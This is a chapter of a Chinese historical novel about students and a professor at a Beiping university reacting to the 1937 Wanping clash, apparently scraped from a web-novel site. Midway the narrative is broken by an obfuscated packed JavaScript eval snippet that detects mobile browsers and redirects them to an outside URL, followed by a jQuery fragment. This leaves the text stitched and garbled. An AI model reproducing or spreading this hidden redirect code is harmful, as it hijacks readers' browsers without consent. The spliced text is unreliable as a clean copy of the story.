“撕拉”
柳知行手中的钢笔慢慢地滑了下去,在白色的纸张上画出长长的一道黑色痕迹。
“我方守军抵抗住了。”叶致和又补充道。
“现在还在打吗?”柳知行的脑袋乱糟糟了一会,想了想才问道。
“早上城里打来电话说是已经停战了。”
“因为什么呢?”
“听说是东洋人夜里借口军事演习的一名士兵走丢了,要进宛平城里和华国兵营搜查。”
“我方驻军不同意,就打了起来。”
“打的好!”
柳知行将桌子上的笔重新捏回到手里,可笑地听着这滑稽的理由。
想起曾经在沪市见到那些在别人的土地上扬威作福的东洋人,想起叶梦兰所说的无学可上,风声鹤唳的沈城,她的心中很是愤慨,不由得大声喊道。
“是的,我和余音都是这样认为的。”叶致和也激动地说道。
“只是”
当他的目光落在握着拳头挺着肚子愤怒不已的祝余音身上的时候,内心竟然闪过一丝怯弱的期望。
期望战争能到来的慢一些,再慢一些,能等这个孩子出生、长大……
“接下来是打还是谈?”柳知行问道。
“说不准。”
两人都沉默了起来。
“也许和前几次一样,不了了之。”叶致和最后开口,他打起精神指挥道。
“我们接着做实验吧。”
柳知行怔了半刻,点了点头,只是捏的越来越皱的笔记本和手下那沉重又缓慢的动作,暴露着两人并不平静的心绪。
时至正午,两人正收拾器材的时候,孟崇德从实验室外匆匆走进来。
他看见两人,皱着的眉头舒展开来,叫道。
“开了一上午会,下午还要进城一趟,致和,你和我一起。”
“进城做什么?”叶致和连忙脱下实验服,问道。
“去谈一下下步怎么做!”孟崇德大力地挥了挥手。
“各界都要表明一下态度,我是代表学界,你是代表青年学生。”
“我是觉得要战的,但也有人要坚持合谈。”
“但有一点大家都是明确的,必须打上几场,让东洋人明白我们的态度,忍无可忍。”他又挥了一下手,说道。
“老师,这么说来宛平的战况很激烈吗?”柳知行在一旁急切地追问道。
“早上到现在就又打了三场。”孟崇德看见她,语气缓和了下来。
“二十九军的士兵十分英勇,没有让敌人前进一步。”
说罢,他就领着叶致和往外面大步走去。
叶致和跟在老师身后向前几步,忽然回头,殷切交待道。
“知行,麻烦你去陪一下余音。”
“好!”
“你放心去。我会等到你回来再走的。”柳知行大声应道。
很快,孟崇德和叶致和跳上停在道上的小汽车,然后消失不见了。
柳知行呆了呆,回身将实验室的器材一一归位,又关上了沉重的大门,起身向教职工宿舍走去。
走着走着,她的脚步调转了一下方向,然后越来越快。
她奔进宿舍楼,跑到二楼,敲响了叶梦兰的房门。
“知行?”
叶梦兰将门打开了一条小缝,看向她的目光讶异。
“梦兰”
柳知行有些急切地强行挤了进去,叶梦兰的屋子收拾的很整齐,和每个女生的屋子差不多。只是屋子里不知为何飘着一股很大的油墨味,放在书桌上的收音机依旧在刺啦刺啦的响着。
“今早宛平城发生的事情你知道了吗?”柳知行迫切地问道。
叶梦兰起身将窗户打开,收音机关掉,回头叹道。
“我知道。”她的面上很是平静,柳知行却发现她的手却在微微颤抖,显然内心并没有表面上那么淡然。
“叶学长说这样的事发生了好几次是为什么?”
“东洋人为什么一定要在这时候和宛平城发生冲突?”
柳知行紧紧地盯着叶梦兰,不知道为什么,她觉得叶梦兰一定可以给她一个答案。
明亮的日光里,叶梦兰短暂地凝视了柳知行一下,然后迅速地抓过一张白纸铺在书桌前,拿起钢笔,简洁地画了一个圆圈。
“这是北平”
“这四个地方分别是”
叶梦兰在东南西北四个方向各画了一个五角星,柳知行目不转睛地盯着这些符号。
“东面被东洋人自治政府下辖约两万的伪保安队控制着。”
“北面被东洋人的关东军控制。”
“南面,去年6月,东洋人强占了丰台这一交通枢纽。”
“只有西南方还有北平的一丝喘息之机。”
柳知行喃喃道,她知道东洋人在北平附近驻扎的有军队,但她从没有真切的意识到,原来脖子上的丝线竟然缠绕的如此之紧,头上的铡刀离自己如此之近。
而处在层层包围下的北平人似乎早就已经习惯了,依旧若无其事地生活着。
“西南正是卢沟桥,再往前就是宛平城,再往前进就是北平。”
“所以你问我为什么东洋人要三番五次的挑衅,为什么一定要在这时候发生冲突。”
叶梦兰也有些激动起来。
“狼怎么能忍住不吃嘴边的肉,而且越早越好。”
“早了肉才新鲜。”
她的眼角发红,隐隐约约渗出了点点泪水,柳知行猛然想起了叶梦兰的家乡沈城。
她不由得站起身来,搂住了叶梦兰的肩膀。
“那看来,唯有一战了”柳知行喃喃道。
确定了这一点之后,她的心反而平静了下来,一步步的蚕食,终于到了这收获的时候,东洋人是不会停手的。
“但会是现在吗?”柳知行又接着思索道。
“学校的老师都去城里谈话了,我瞧着大部分还是希望能谈判的,认为可以和谈的。”她回忆着孟教授话里的意思。
“和谈,可笑至极,指望敌人因为道德放过你,战场上拿不到的,谈判桌上也拿不到!”
“只有打了,打的他们痛了,才会把他们的爪子伸回去。”
叶梦兰铿锵有力地说道,她将情绪平静下去,收拾了东西急匆匆地出门了,柳知行则品味着她的那番话心潮澎湃地走到了教职工宿舍。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17407110|200573||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
祝余音正在接着电话。
“妈妈,我要和致和商量一下再决定。”看见柳知行过来,她简短地对着电话说了一句,就挂断了。
“从早上到现在,电话就一直没停过。”祝余音疲惫地朝柳知行笑了笑。
“我妈妈一直想劝我现在就到城里的德国医院去。”
“还有快一个月才到预产期呢,这时候去医院太磨人了一些,我想再等等。”
柳知行扶着她在藤椅上坐下,望着祝余音鼓鼓的肚子,柳知行原本热血沸腾的心忽然冷却下来了一些,她怔怔地坐在了祝余音的对面,两人望了望,都苦笑了一声,相对无言。
门外的赵妈打来了一盆盆的井水,用勺子撒在青石板上,驱散着阵阵暑意,只是她的动作也显得心不在焉的。
“四小姐”不知过了多久,赵妈走进来,觑着两人的脸色,问道。
“厨下还温的有早上的鸡头米甜汤,要喝一碗吗?”
祝余音已经怀孕九个月了,每日下午都要多吃一道茶点。
“好”祝余音猛然回过神来,应道。
“赵妈,端两盏来,知行,你也吃一盏吧。”
听到吃的,柳知行的肚子忽然应景地咕咕叫了起来,她这才想起自己中午跑来跑去竟然忘记吃饭了。
她一把按住肚子,希望能让它停止这凄惨到有些丢人的鸣叫。
“哎呦,赵妈,快把我盒子里糕点拿过来。”
祝余音笑了,赵妈也笑了,小屋好像忽然活过来了一样动了起来。
饿急了眼,柳知行一口气就着茶水吃了两碟子点心,才停下手来。
“叮铃铃”电话又响了起来。
屋子里又是一静。
祝余音上前接过电话。
“和谈住了”她的语气中有着惊讶和一丝不易察觉的如释重负,转头看向屋子里的两人。
“好,好,我知道了。”她连连点着头,笑着挂断了电话。
还没等祝余音回头说些什么,电话又响了起来。
她接起电话,这次的笑容更加生动温柔了起来。
“嗯,刚才爸爸告诉我了,知行和赵妈在陪着我呢。”
“你那边呢?”
“哦,我知道了。”不知道听到了什么,祝余音的声音低落下去。
“好,早点回来。”她最后温声地说道。
“和谈住了,已经停战了。”终于在两人期盼的目光中,祝余音回身宣布了这个消息。
“哎呀,那等一下我上街去买点新鲜肉菜去。”赵妈喜形于色。
柳知行也轻轻地舒了一口气。
是的,尽管知道头上的铡刀总有一天会落下来,但人总会期盼能再慢一点,再慢一点。
“二十九军战死了两个排的战士,死守住了桥头阵地。”祝余音没有笑,她慢慢地接着说道。
柳知行感受到自己的眼睛不受控制地热了起来,鼻子像是被什么堵住了一样。
“学校决定明天组织一场劳军。”祝余音的眼睛也红了起来。
天色渐渐昏沉了下去,叶致和还没有回来,赵妈回房休息了,柳知行陪着祝余音有一搭没一搭地聊着天。